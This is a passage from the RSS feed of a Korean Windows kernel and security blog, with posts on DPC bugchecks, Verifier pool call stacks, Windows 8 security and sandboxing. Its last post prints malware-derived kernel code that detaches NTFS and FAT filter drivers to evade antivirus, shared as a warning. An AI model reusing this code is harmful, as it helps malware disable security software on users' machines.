DPC 가 불렸고, DPC 안에서 비동기 IRP 쿼리를 수행 중인데... MyDrv 에서 Wait 를 하는게 보입니다. 그 이후로는 컨텍스트 스위칭이 된 상태 이고, 버그체크가 발생된 쓰레드의 컨텍스트에서 StackAttach 를 하는 순간 동일 &lt;b&gt;프로세서의 DPC 상태정보&lt;/b&gt;가 Active 되어 있는 것을 보고는 버그체크를 띄운 셈이죠.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;이전에 게시했던 잘못된 내용은 프로세스(System) 의 DPC 정보가 쓰레드 간에 공유되어 문제가 발생되었다고 했는데 이것은 잘못된 것으로 DPC Active 된 정보는 프로세서(KPRCB) 의 정보입니다. (혼동없으시길)&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
보통 디스패치레벨에서 Wait 를 하게되면, ATTEMPTED_SWITCH_FROM_DPC (b8) 버그체크가 발생되는게 일반적입니다만, 이와 같은 버그체크도 발생될 수 있다는 것 정도만 알아두어도 될 것 같습니다. &lt;br /&gt;
&lt;br /&gt;
DPC가 Active되어 있는지 확인하는 길은 ntoskrnl 에서 KeIsExecutingDpc export 함수를 이용하면 됩니다.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-1472679325179239386?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/RHnLexO3o2FPvk2ydUZ7zx9AwKE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/RHnLexO3o2FPvk2ydUZ7zx9AwKE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/RHnLexO3o2FPvk2ydUZ7zx9AwKE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/RHnLexO3o2FPvk2ydUZ7zx9AwKE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/oIuIZ9lAEe0" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/oIuIZ9lAEe0/invalidprocessattachattempt-bugcheck.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>0</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/11/invalidprocessattachattempt-bugcheck.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-2783772433728317215</guid><pubDate>Tue, 01 Nov 2011 01:49:00 +0000</pubDate><atom:updated>2011-10-31T18:49:03.054-07:00</atom:updated><title>Call Stacks for Pool Allocations</title><description>&lt;a href="http://blogs.msdn.com/b/ntdebugging/archive/2011/10/31/call-stacks-for-pool-allocations.aspx"&gt;Call Stacks for Pool Allocations&lt;/a&gt;: &lt;div&gt;   &lt;p&gt;Hello, it's the Debug Ninja back again for another NtDebugging Blog article.&lt;span&gt;  &lt;/span&gt;For as long as I can remember user mode debuggers have had an easy way to get call stacks for heap allocations.&lt;span&gt;  &lt;/span&gt;On more recent versions of Windows this has been as simple as using &lt;a href="http://support.microsoft.com/kb/268343"&gt;gflags +ust and umdh&lt;/a&gt; or &lt;a href="http://msdn.microsoft.com/en-us/library/ff563189.aspx"&gt;!heap -k&lt;/a&gt;.&lt;span&gt;  &lt;/span&gt;Kernel debuggers have not always had an easy way to determine who allocated a pool block.&lt;span&gt;  &lt;/span&gt;Sure, we have pool tags to help us out, but often a programmer will use the same tag in many places and devalue this as a troubleshooting technique.&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;Fortunately, starting in Windows Vista and Server 2008, kernel debuggers can get call stacks from pool allocations.&lt;span&gt;  &lt;/span&gt;We can even get call stacks from pool frees.&lt;span&gt;  &lt;/span&gt;This little known technique is not quite as useful as gflags +ust is for heap, but when it &lt;span&gt;is needed&lt;/span&gt; it is very useful.&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;First, you need to turn on special pool using driver verifier.&lt;span&gt;  &lt;/span&gt;Verifier will obtain and track the call stack for the allocation and the free, so this technique will not work with traditional special pool as documented in &lt;a href="http://support.microsoft.com/kb/188831"&gt;KB188831&lt;/a&gt; because those settings do not use driver verifier.&lt;span&gt;  &lt;/span&gt;Because special pool requires additional memory overhead to run, this technique is not valuable for large memory leaks.&lt;span&gt;  &lt;/span&gt;However, this technique is a good way to determine what code allocated or freed your pool block in other conditions.&lt;span&gt;  &lt;/span&gt;For example, this works well if you find that pool has been freed when you expected it to be allocated.&lt;span&gt;  &lt;/span&gt;This also works for smaller memory leaks, especially those for which you can easily reproduce the leak.&lt;span&gt;  &lt;/span&gt;Analyzing the allocations and stacks for a leak &lt;span&gt;must be done&lt;/span&gt; by hand, as there is no umdh-like tool for kernel mode.&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;&lt;b&gt;Step 1 - Turning on verifier&lt;/b&gt;&lt;/p&gt;    &lt;p&gt;In this example I am using Sysinternals’ &lt;a href="http://download.sysinternals.com/Files/Notmyfault.zip"&gt;notmyfault&lt;/a&gt; tool to generate the pool allocations.&lt;span&gt;  &lt;/span&gt;Because I know the driver in question I set verifier to only monitor that driver.&lt;span&gt;  &lt;/span&gt;Note that a reboot is required to make this setting take effect.&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;Verifier /flags 1 /driver myfault.sys&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;&lt;b&gt;Step 2 - Finding the pool allocation to analyze&lt;/b&gt;&lt;/p&gt;    &lt;p&gt;For this example I am going to find the call stack of a leaked pool allocation.&lt;span&gt;  &lt;/span&gt;First find the tag that is using the most pool by using !poolused.&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;kd&amp;gt; !poolused 4&lt;/p&gt;    &lt;p&gt;&lt;span&gt;   &lt;/span&gt;Sorting by&lt;span&gt;  &lt;/span&gt;Paged Pool Consumed&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;&lt;span&gt;  &lt;/span&gt;Pool Used:&lt;/p&gt;    &lt;p&gt;&lt;span&gt;            &lt;/span&gt;NonPaged&lt;span&gt;      &lt;/span&gt;&lt;span&gt;      &lt;/span&gt;Paged&lt;/p&gt;    &lt;p&gt;&lt;span&gt; &lt;/span&gt;Tag&lt;span&gt;    &lt;/span&gt;Allocs&lt;span&gt;     &lt;/span&gt;Used&lt;span&gt;    &lt;/span&gt;Allocs&lt;span&gt;     &lt;/span&gt;Used&lt;/p&gt;    &lt;p&gt;&lt;span style="background:yellow"&gt;Leak&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;0&lt;span&gt;        &lt;/span&gt;0&lt;span&gt;        &lt;/span&gt;23 23552000&lt;span&gt; &lt;/span&gt;UNKNOWN pooltag 'Leak', please update pooltag.txt&lt;/p&gt;    &lt;p&gt;CM31&lt;span&gt;        &lt;/span&gt;0&lt;span&gt;        &lt;/span&gt;0&lt;span&gt;     &lt;/span&gt;20520 18514560&lt;span&gt; &lt;/span&gt;Internal Configuration manager allocations , Binary: nt!cm&lt;/p&gt;    &lt;p&gt;CIcr&lt;span&gt;    &lt;/span&gt;&lt;span&gt;    &lt;/span&gt;0&lt;span&gt;        &lt;/span&gt;0&lt;span&gt;      &lt;/span&gt;2977&lt;span&gt;  &lt;/span&gt;8511504&lt;span&gt; &lt;/span&gt;Code Integrity allocations for image integrity checking , Binary: ci.dll &lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;Next find the pool allocations for that tag with !poolfind.&lt;span&gt;  &lt;/span&gt;There is some guessing to be done with all pool leak debugging techniques; you can’t be sure that the allocation you’re looking at has really been leaked and is not just in a state where it has not yet been freed.&lt;span&gt;  &lt;/span&gt;You need to make an educated guess because there is no umdh-type functionality to analyze allocates and frees.&lt;span&gt;  &lt;/span&gt;If you have the benefit of a live debug you can go the debugger and check back later to see if the memory has been freed or not.&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;kd&amp;gt; !poolfind &lt;span style="background:yellow"&gt;Leak&lt;/span&gt;&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;Scanning large pool allocation table for Tag: Leak (fffffa8002e00000 : fffffa8002f80000)&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;*fffff8a006a00000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a0058fa000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a006200000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a0068fa000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a0060fa000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a005a00000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a006c00000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a006400000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a0062fa000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a005afa000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a005c00000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a006e00000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a006600000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a0064fa000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a005cfa000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a006afa000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a005e00000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a006800000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a0066fa000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a005efa000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a006cfa000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*fffff8a006000000 :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt;*&lt;span style="background:lime"&gt;fffff8a005800000&lt;/span&gt; :large page allocation, Tag&lt;span&gt;  &lt;/span&gt;is Leak, size&lt;span&gt;  &lt;/span&gt;is 0xfa000 bytes&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;&lt;b&gt;Step 3 – Dump the call stack for the allocation&lt;/b&gt;&lt;/p&gt;    &lt;p&gt;This step is the easy one.&lt;span&gt;  &lt;/span&gt;Once you have the address of the allocation use !verifier 0x80 &lt;i&gt;Address&lt;/i&gt;.&lt;span&gt;  &lt;/span&gt;If you were interested in all of the call stacks in the log you can run !verifier 0x80 without the &lt;i&gt;Address&lt;/i&gt; parameter.&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;kd&amp;gt; !verifier 0x80 &lt;span style="background:lime"&gt;fffff8a005800000&lt;/span&gt; &lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;Log of recent kernel pool Allocate and Free operations:&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;There are up to 0x10000 entries in the log.&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;Parsing 0x0000000000010000 log entries, searching for address 0xfffff8a005800000.&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;======================================================================&lt;/p&gt;    &lt;p&gt;&lt;span style="color:red"&gt;Pool block fffff8a005800000, Size 00000000000fa000, Thread fffffa8002be4060&lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="color:red"&gt;fffff80001923cc6 nt!VeAllocatePoolWithTagPriority+0x2b6&lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="color:red"&gt;fffff80001923d3d nt!VerifierExAllocatePoolEx+0x1d&lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="color:red"&gt;fffff880042881f6 myfault+0x11f6&lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="color:red"&gt;fffff8800428842f myfault+0x142f&lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="color:red"&gt;fffff8000192e750 nt!IovCallDriver+0xa0&lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="color:red"&gt;fffff800017a3a97 nt!IopXxxControlFile+0x607&lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="color:red"&gt;fffff800017a42f6 nt!NtDeviceIoControlFile+0x56&lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="color:red"&gt;fffff80001487ed3 nt!KiSystemServiceCopyEnd+0x13&lt;/span&gt;&lt;/p&gt;    &lt;p&gt;======================================================================&lt;/p&gt;    &lt;p&gt;Pool block fffff8a005800000, Size 0000000000001000, Thread fffffa8002187060&lt;/p&gt;    &lt;p&gt;fffff8000192393a nt!VfFreePoolNotification+0x4a&lt;/p&gt;    &lt;p&gt;fffff800015b6a6f nt!ExDeferredFreePool+0x107b&lt;/p&gt;    &lt;p&gt;fffff800017273eb nt!HvFreeDirtyData+0x7f&lt;/p&gt;    &lt;p&gt;fffff800017269bb nt!HvOptimizedSyncHive+0x53&lt;/p&gt;    &lt;p&gt;fffff80001726303 nt!CmFlushKey+0xaf&lt;/p&gt;    &lt;p&gt;fffff80001726b22 nt!NtFlushKey+0x142&lt;/p&gt;    &lt;p&gt;fffff80001487ed3 nt!KiSystemServiceCopyEnd+0x13&lt;/p&gt;    &lt;p&gt;Parsed entry 0000000000010000/0000000000010000...&lt;/p&gt;    &lt;p&gt;Finished parsing all pool tracking information.&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;Keep in mind that the log may contain allocate and free information that predates the current use of the pool block, and that the log is of a fixed size so eventually old data will fall off the end.&lt;span&gt;  &lt;/span&gt;The most recent use of the pool will be at the top of the output.&lt;span&gt;  &lt;/span&gt;Usually this is the stack at the top of the output is what you are interested in, I have highlighted the relevant call stack in &lt;span style="color:red"&gt;red&lt;/span&gt;.  In this instance we can see that the pool was most recently allocated by myfault.sys.&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;Sometimes it is useful to have historical information about previous uses of the pool block such as when dealing with pool that was improperly freed.&lt;span&gt;  &lt;/span&gt;In that scenario the most recent call stack may be from an allocate call when the pool block was reused by the memory manager and so you may need to go down several levels to find out where the pool was improperly freed.&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;For more information on using !verifier you can refer to the debugger help in MSDN, &lt;a href="http://msdn.microsoft.com/en-us/library/ff565591.aspx"&gt;http://msdn.microsoft.com/en-us/library/ff565591.aspx&lt;/a&gt;.&lt;/p&gt; &lt;/div&gt;&lt;div style="clear:both"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10231822" width="1" height="1"&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-2783772433728317215?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/LBu-qAZ4AElYqluJx_Ws6ySOI18/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/LBu-qAZ4AElYqluJx_Ws6ySOI18/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/LBu-qAZ4AElYqluJx_Ws6ySOI18/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/LBu-qAZ4AElYqluJx_Ws6ySOI18/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/_ailGs1_2nA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/_ailGs1_2nA/call-stacks-for-pool-allocations.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>0</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/10/call-stacks-for-pool-allocations.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-6119074961625335064</guid><pubDate>Fri, 21 Oct 2011 06:32:00 +0000</pubDate><atom:updated>2011-10-20T23:32:15.590-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">win8</category><title>Win8의 보안적 관점의 변경사항... 제약?</title><description>Win8 은 메트로 UI 인터페이스를 추가하여 기존 Explorer 쉘과 동등한 수준의 UI 인터페이스를 추가하였습니다. 그런데, 메트로 UI 환경에서는 기존 legacy 쉘과는 다른 보안적 관점에서의 제약 사항이 몇가지 있습니다.&lt;br /&gt;
&lt;br /&gt;
첫째, 메트로쉘 환경에선 커널 드라이버를 구동시킬 수 없습니다. (닷넷의 Interop 호출을 통해 native 호출을 하면 가능하지 않나 싶은데... MS에서 얼마전 있었던 세미나에서 불가하다는 쪽으로 얘기를 했다네요.)&lt;br /&gt;
&lt;br /&gt;
둘째, 메트로쉘 의 IE는 플러그인을 허용하지 않습니다.&lt;br /&gt;
이 부분은 금융권에 들어가는 여러 보안 모듈 또는 전자상거래에서 필요한 결재용 모듈에 대한 대대적인 변경이 필요함을 의미합니다.( 차기버전에선 legacy 쉘을 지원하지 않을 지도 모른다는 얘기와... 메트로 환경의 보안은 MS에 맡기라는 말이 있었다는데... 뭐 그렇게 까지 얘기 했다면 자신있다는 거니까... 알아서 MS에서 잘 해줄거라 믿어 봐야 겠네요 )&lt;br /&gt;
&lt;br /&gt;
세쩨. Win8의 하이브리드 부팅이 우리가 기존에 말했던 부팅의 개념이 아닌... 최대절전모드의 변형이라고 합니다. 보통 보안소프트웨어에 필요한 OS 오퍼레이션이 리부팅입니다. 말웨어를 치료하여 리부팅시킨다거나 혹은 정적 로딩 드라이버에 대한 리부팅 동작등이... 필요한데, 하이브리드 부팅으로는 단지 절전모드로 빠졌다가 돌아오는 결과이기 때문에... 리부팅을 시키기 위해선 별도의 부팅 API 를 이용해야 합니다.&lt;br /&gt;
&lt;br /&gt;
그리고... 한가지 더 하자면... MS에서 기존 WHQL을 더 강화시킬 거라고 하네요... DTM 으로 명칭이 변경되었었는데... 또 이름이 다르게 바뀌는 거 같기도 하고... 아마도 언젠가는 DTM 안한 드라이버는 Windows 에서 구동되지 못할 날이 올지도 모릅니다.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-6119074961625335064?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/F-j8LF8Osn7yHbNohA1b4JiV9kA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/F-j8LF8Osn7yHbNohA1b4JiV9kA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/F-j8LF8Osn7yHbNohA1b4JiV9kA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/F-j8LF8Osn7yHbNohA1b4JiV9kA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/36O_U71q524" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/36O_U71q524/win8.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>2</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/10/win8.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-8530244249578418416</guid><pubDate>Tue, 27 Sep 2011 01:46:00 +0000</pubDate><atom:updated>2011-09-26T18:52:36.449-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SandBox</category><title>Windows 로컬 보안에 SandBox가 적용되는 시기가 올 수 있을까?</title><description>맥아피의 CTO 존 비가 는 '전 세계 보안 시장은 점점 무너져가고 있다' 고 했다. 이것은 Anti-Virus의 시그니처기반 악성코드 진단 구조의 한계가 오고 있다는 뜻이다. AV 엔진의 한계는 정상파일,악성파일의 White List, Black List 의 DB 크기가 이론적으로는 무한대로 커져갈 것이라는 점과 이에 따라 이 DB 를 Traverse 하여 결과를 뽑아내야 하는 엔진의 Searching 속도가 증가되어 감으로 인해 사용자의 사용성이 악화되어 간다는 점이 핵심이라 할 수 있다.&lt;br /&gt;
이에 대한 대안으로는 대표적으로 시만텍의 평판시스템, 국내에선 안랩의 ASD등의  클라우드 시스템을 보안에 접목하려는 시도가 대안으로 떠오르고 있지만 아직 상용화 초기단계이며, 한계점도 보이고 있고 성공여부도 불투명한 상태이다. &lt;br /&gt;
이러한 문제에 대해 근본적으로 해결할 수 있는 방법은 아직까진 없다. 클라우드 시스템 역시 오탐에서 자유로울 수 없으며, 적용 범위도 포괄적이지 못하다.&lt;br /&gt;
&lt;br /&gt;
이러한 기존 보안시장의 프레임에서 벗어나는 케이스가 바로 ios의 Sandbox 앱 실행 구조이다. 거기다 앱스토어를 통해 인증된 앱만 구동가능하게 하는 인증시스템을 도입하여 기본적으로 악성코드가 실행되는 기회를 박탈한다. &lt;br /&gt;
악성코드가 실행될 수도 없으며, 만약에 실행될 수 있다하여도 시스템을 권드릴 수 있는 권한을 획득할 수 없다. 당연히 악성파일 DB관리도 필요없다.&lt;br /&gt;
가끔씩 ios 사파리의 보안결함이 보고되어 패치되는 케이스가 있어도 미미한 수준이며, ios 는 그 보안성을 그 상업적 성공에 비례하여 인정 받았다고 보아야 할 것이다. 개인적으로는 ios 의 높은 보안성으로 인해 ios가 성공했다고 보고 싶은 정도 이다. &lt;br /&gt;
&lt;br /&gt;
개인적으로 Windows 8 타블렛에 아직도 부정적인 이유는 Windows 8 타블렛이 보안패치 한다고 Wndows Update  를 수행해야 할텐데...업데이트 시간도 오래걸릴테고... 아이패드에서 그런걸 한다고 상상해 보라... 이거 작지 않은 부분이라고 본다.&lt;br /&gt;
&lt;br /&gt;
현재 상용화된 Windows 용 SandBox 보안제품들을 보면 ios와 같은 보안성을 제공해 주지 못하는 구조를 가진다. 왜냐하면 다른 기존 어플들과 호환되도록 동작하면서 보안성까지 같이 갖추어야 하는 문제가 있기 때문이다.&lt;br /&gt;
호환이라는 이슈가 들어가면 보안은 깨진다. &lt;br /&gt;
&lt;br /&gt;
반대로 ios는 높은 수준의 보안을 OS 자체적으로 수행함으로 인해 보안 소프트웨어 시장자체가 존재하지 않는다.&lt;br /&gt;
Windows 역시 호환을 버리고 ios 와 같은 구조로 아키텍처를 변경한다면 보안성은 강화될 것이나 보안 시장은 큰 타격을 입게 될 것이다.&lt;br /&gt;
&lt;br /&gt;
Windows 로컬 보안에 SandBox가 제대로 적용되는 시기가 올 수 있을까?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-8530244249578418416?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/5KGA-v4oCWkm8B_5BMGNVBs-kxE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/5KGA-v4oCWkm8B_5BMGNVBs-kxE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/5KGA-v4oCWkm8B_5BMGNVBs-kxE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/5KGA-v4oCWkm8B_5BMGNVBs-kxE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/fwGyzqThOts" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/fwGyzqThOts/windows-sandbox.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>2</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/09/windows-sandbox.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-4269066282664897850</guid><pubDate>Mon, 19 Sep 2011 12:50:00 +0000</pubDate><atom:updated>2011-09-19T05:53:56.854-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Detour</category><title>filesystem filter Driver 무력화 구현.</title><description>출처: http://blog.naver.com/forc1/50114537970&lt;br /&gt;
&lt;br /&gt;
char __stdcall disable_filter_driver_(PCWSTR Object)&lt;br /&gt;
{&lt;br /&gt;
char result; // al@2&lt;br /&gt;
PDEVICE_OBJECT p_device; // eax@3&lt;br /&gt;
UNICODE_STRING us_obj_name; // [sp+4h] [bp-8h]@1&lt;br /&gt;
&lt;br /&gt;
RtlInitUnicodeString(&amp;us_obj_name, Object);&lt;br /&gt;
if ( ObReferenceObjectByName(&amp;us_obj_name, OBJ_CASE_INSENSITIVE, 0, 0, IoDriverObjectType, 0, 0, &amp;Object) &gt;= 0 )&lt;br /&gt;
{&lt;br /&gt;
for ( p_device = (PDRIVER_OBJECT)Object-&gt;DeviceObject; p_device; p_device = p_device-&gt;NextDevice )&lt;br /&gt;
p_device-&gt;AttachedDevice = 0; // 필터 없앰&lt;br /&gt;
ObfDereferenceObject((PVOID)Object);&lt;br /&gt;
result = 1;&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
result = 0;&lt;br /&gt;
return result;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
NTSTATUS disable_filter_driver()&lt;br /&gt;
{&lt;br /&gt;
while ( !bEnd )&lt;br /&gt;
{&lt;br /&gt;
disable_filter_driver_(L"\\FileSystem\\Ntfs");&lt;br /&gt;
disable_filter_driver_(L"\\FileSystem\\Fastfat");&lt;br /&gt;
sleep_(1000);&lt;br /&gt;
}&lt;br /&gt;
return PsTerminateSystemThread(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
설마 이런거 쓰겠어 했는데... 설마가 사람잡네요... 얼마전 발견된 악성코드에서 이와 같은 구현을 사용하며 더군다나 &lt;br /&gt;
파일시스템 필터 뿐만이 아닌... Raw Disk I/O 에 대한 필터에 대해서도 위와 같은 형식을 이용하여 우회하는 기법을 이용하고 있는 것을 확인하였습니다.&lt;br /&gt;
&lt;br /&gt;
여기에 대해서 대책이 있을까요?... 디바이스 객체에 대한 메모리 보호 역시 쉽지 않은 주제입니다만... 그에 앞서 Microsoft 에서 대책이 있을 지...아니면 대비가 이미 되어 있는 지 궁금하네요... MiniFilter 에 대해서도 ... 만일 Filter Manager 가 우회가 된다면 큰일이겠지요...&lt;br /&gt;
&lt;br /&gt;
